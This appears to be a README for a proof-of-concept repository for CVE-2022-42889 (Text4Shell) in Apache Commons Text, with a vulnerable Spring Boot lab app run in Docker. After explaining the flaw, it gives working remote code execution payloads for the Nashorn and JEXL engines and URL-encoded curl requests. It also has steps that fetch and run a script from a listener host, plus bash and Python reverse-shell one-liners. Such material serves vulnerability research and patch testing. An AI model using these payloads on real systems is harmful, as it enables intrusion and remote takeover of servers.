CVE-2022-42889 aka text4shell

PoC for recently discovered vulnerability in Apache Commons Text by @pwntester:

As mentioned in https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/:

The vulnerability exists in the StringSubstitutor interpolator object. An interpolator is created by the StringSubstitutor.createInterpolator() method and will allow for string lookups as defined in the StringLookupFactory. This can be used by passing a string “${prefix:name}” where the prefix is the aforementioned lookup. Using the “script”, “dns”, or “url” lookups would allow a crafted string to execute arbitrary scripts when passed to the interpolator object.

Affected versions

The affected Apache Commons Text versions are 1.5 through 1.9. It has been patched in version 1.10.

Conditions to be exploited

• Run a version of Apache Commons Text from version 1.5 to 1.9
• Use the StringSubstitutor interpolator class

To be remotely exploited, attacker controlled input must be used as input for the StringSubstitutor interpolation. In particular, in StringSubstitutor.replace() or StringSubstitutor.replaceIn() methods

Other javascript script engines

Since JDK 15 the Nashorn JavaScript Engine was removed: https://openjdk.org/jeps/372. But if third parties dependencies are included such as JEXL, RCE in Apache Commnos Text could happen (https://twitter.com/pwntester/status/1582321752566161409)

Exploitation

script interpolator

It can be exploited to gain RCE.

JDK < 15

Nashorn engine:

${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

JDK 15+

If using third party JEXL:

${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}

dns interpolator

It can lead to a DNS lookup:

${dns:address|commons.apache.org}

url interpolator

It connects to the specified URL and tries to fetch the content:

${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}

Manual compilation of PoC

Template based on https://start.spring.io/

mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar 

Running app in Docker

Using JVM 11

sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell 

Using JVM 19

sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell 

Provided POCs

There are different endpoints provided to test for the different attack vectors mentioned.

/poc1

curl http://localhost:8080/poc1

/poc2

curl http://localhost:8080/poc2

/poc3

curl http://localhost:8080/poc3

/message?text=

curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

Using Nashorn:

curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

Using JEXL:

curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D

Get a reverse shell

Just to be simple I am using the default Docker interface for netcat listener. Poking around, I came up with these payloads with bash and python reverse shells working ok:

${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}

Where rev.sh is served with these possible contents:

bash -i >& /dev/tcp/172.17.0.1/5555 0>&1

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

References

• https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/
• https://sysdig.com/blog/cve-2022-42889-text4shell/
• https://nakedsecurity.sophos.com/2022/10/18/dangerous-hole-in-apache-commons-text-like-log4shell-all-over-again/
• https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/
• https://www.cyberkendra.com/2022/10/apache-commons-text-code-execution.html
• https://twitter.com/pwntester/status/1583189642471706624
• https://twitter.com/pyn3rd/status/1582729285005037568
• https://medium.com/@cxzero/text4shell-cve-2022-42889-brief-vulnerability-analysis-and-exploitation-fe13a0baadbb

Credits to other PoCs

• https://github.com/SeanWrightSec/CVE-2022-42889-PoC/
• https://github.com/korteke/CVE-2022-42889-POC
• https://github.com/karthikuj/cve-2022-42889-text4shell-docker
• https://github.com/ClickCyber/cve-2022-42889/blob/main/CVE-2022-42889.php
• https://github.com/kljunowsky/CVE-2022-42889-text4shell
• https://github.com/securekomodo/text4shell-poc